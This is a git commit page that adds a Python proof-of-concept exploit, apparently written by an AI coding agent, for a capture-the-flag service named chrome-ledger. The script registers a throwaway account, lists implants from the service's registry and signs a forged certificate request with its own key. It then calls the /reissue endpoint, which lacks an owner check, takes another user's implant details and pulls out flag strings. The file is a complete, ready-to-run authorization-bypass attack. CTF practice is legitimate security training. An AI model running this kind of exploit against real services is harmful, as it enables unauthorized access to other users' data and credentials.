add chrome-ledger exploit PoC

This commit is contained in:
Codex authored and codex committed 2026-11-29 10:25:56 +00:00
1 parent 3f16e78eb6
commit c2fbf73b2b
1 file changed
+116
+116
View File
@@ -0,0 +1,116 @@
#!/usr/bin/env python3
"""PoC for the pre-fix chrome-ledger ownership/reissue bug.
The vulnerable service accepted a CSR signed by an attacker-controlled key
and did not bind /reissue/<implant_id> to the authenticated owner. The new
certificate was then returned together with the implant's decrypted details.
Use only against the authorized CTF instance.
"""
from __future__ import annotations
import argparse
import base64
import hashlib
import json
import re
import secrets
import sys
from typing import Any
import requests
from cryptography import x509
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.x509.oid import NameOID
FLAG_RE = re.compile(r"\b[A-Z0-9]{31}=")
def request_json(response: requests.Response) -> Any:
try:
data = response.json()
except ValueError:
response.raise_for_status()
raise RuntimeError(f"non-JSON response ({response.status_code})")
if not response.ok:
raise RuntimeError(f"HTTP {response.status_code}: {data}")
return data
def make_csr(key: ec.EllipticCurvePrivateKey) -> str:
csr = (
x509.CertificateSigningRequestBuilder()
.subject_name(x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "ctf-client")]))
.sign(key, hashes.SHA256())
)
return csr.public_bytes(serialization.Encoding.PEM).decode("ascii")
def main() -> int:
parser = argparse.ArgumentParser(description=__doc__)
parser.add_argument("base_url", help="service URL, e.g. http://10.0.0.5:8081")
parser.add_argument("--implant-id", help="specific target implant UUID")
parser.add_argument("--insecure", action="store_true", help="disable TLS certificate verification")
args = parser.parse_args()
base = args.base_url.rstrip("/")
session = requests.Session()
session.verify = not args.insecure
username = f"audit_{secrets.token_hex(5)}"
password = secrets.token_urlsafe(18)
auth = request_json(session.post(
f"{base}/register",
json={"username": username, "password": password},
timeout=10,
))
session.headers["Authorization"] = f"Bearer {auth['access_token']}"
registry = request_json(session.get(f"{base}/home/api/registry", timeout=10))
targets = []
for implant in registry.get("results", []):
if args.implant_id and implant.get("id") != args.implant_id:
continue
active = [c for c in implant.get("certificates", []) if c.get("status") == "active"]
if active:
targets.append((implant["id"], active[-1]["serial"]))
if not targets:
raise RuntimeError("no active implant found in registry")
implant_id, serial = targets[0]
key = ec.generate_private_key(ec.SECP256R1())
csr_pem = make_csr(key)
digest = hashlib.sha256(
x509.load_pem_x509_csr(csr_pem.encode("ascii")).public_bytes(serialization.Encoding.DER)
).hexdigest()
message = f"reissue:{implant_id}:{serial}:{digest}".encode("ascii")
signature = base64.b64encode(key.sign(message, ec.ECDSA(hashes.SHA256()))).decode("ascii")
result = request_json(session.post(
f"{base}/home/api/reissue/{implant_id}",
json={
"csr_pem": csr_pem,
"certificate_serial": serial,
"signature": signature,
},
timeout=10,
))
print(json.dumps({"target": implant_id, "response": result}, indent=2))
flags = sorted(set(FLAG_RE.findall(json.dumps(result))))
if flags:
print("flags:")
print("\n".join(flags))
else:
print("no flags matched; target may already contain the patched ownership check", file=sys.stderr)
return 0
if __name__ == "__main__":
try:
raise SystemExit(main())
except (requests.RequestException, KeyError, RuntimeError) as exc:
print(f"error: {exc}", file=sys.stderr)
raise SystemExit(1)